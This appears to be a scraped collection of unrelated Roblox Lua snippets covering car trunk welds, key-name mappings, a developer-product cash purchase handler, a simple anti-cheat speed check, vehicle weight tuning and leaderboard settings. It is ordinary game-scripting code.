MakeWeld(car.Misc.Trunk.SS,car.DriveSeat,"Motor",.04).Name="W" ModelWeld(car.Misc.Trunk.Parts,car.Misc.Trunk.SS) for _,v in pairs({car.Misc.Trunk}) do local open=false for _,a in pairs(v.Parts:GetChildren()) do if a.Name=="Handle" then local CL = Instance.new("ClickDetector",a) CL.MaxActivationDistance = 12 CL.MouseClick:connect(function() open = not open if open then a.Parent.Parent.SS.W.DesiredAngle = math.rad(60.5) else a.Parent.Parent.SS.W.DesiredAngle = 0 end end) end end end car.DriveSeat.ChildAdded:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) end end)
-- constants
local PLAYER_DATA = ReplicatedStorage:WaitForChild("PlayerData") local PLAYER = Players.LocalPlayer local REPLACEMENTS = { Zero = "0"; One = "1"; Two = "2"; Three = "3"; Four = "4"; Five = "5"; Six = "6"; Seven = "7"; Eight = "8"; Nine = "9"; MouseButton1 = "MB1"; MouseButton2 = "MB2"; MouseButton3 = "MB3"; Return = "Enter"; Slash = "/"; Tilde = "~"; Backquote = "`"; }
-- ProductId 1218012148 for 2500 Cash
developerProductFunctions[Config.DeveloperProductIds["2500 Cash"]] = function(receipt, player) -- Logic/code for player buying 2500 Cash (may vary) local leaderstats = player:FindFirstChild("leaderstats") local cash = leaderstats and leaderstats:FindFirstChild("Cash") if cash then if Utilities:OwnsGamepass(player, gamepassID) then cash.Value += 5000 else cash.Value += 2500 end return true end end
-- Monitor character
while wait(5) do -- Check if alive if plr.Character ~= nil and plr.Character:FindFirstChild("Humanoid") then -- Check stats if plr.Character.Humanoid.WalkSpeed > 23 or plr.Character.Humanoid.JumpPower > 51 then kick() end -- Check torso for validity if plr.Character:FindFirstChild("Torso") then if plr.Character.Torso.Anchored then kick() end end end end
--[[Weight and CG]]
Tune.Weight = 2670 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 14 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
-- [ SETTINGS ] --
local StatsName = "Clicks" -- Your stats name local MaxItems = 100 -- Max number of items to be displayed on the leaderboard local MinValueDisplay = 1 -- Any numbers lower than this will be excluded local MaxValueDisplay = 10e15 -- (10 ^ 15) Any numbers higher than this will be excluded local UpdateEvery = 60 -- (in seconds) How often the leaderboard has to update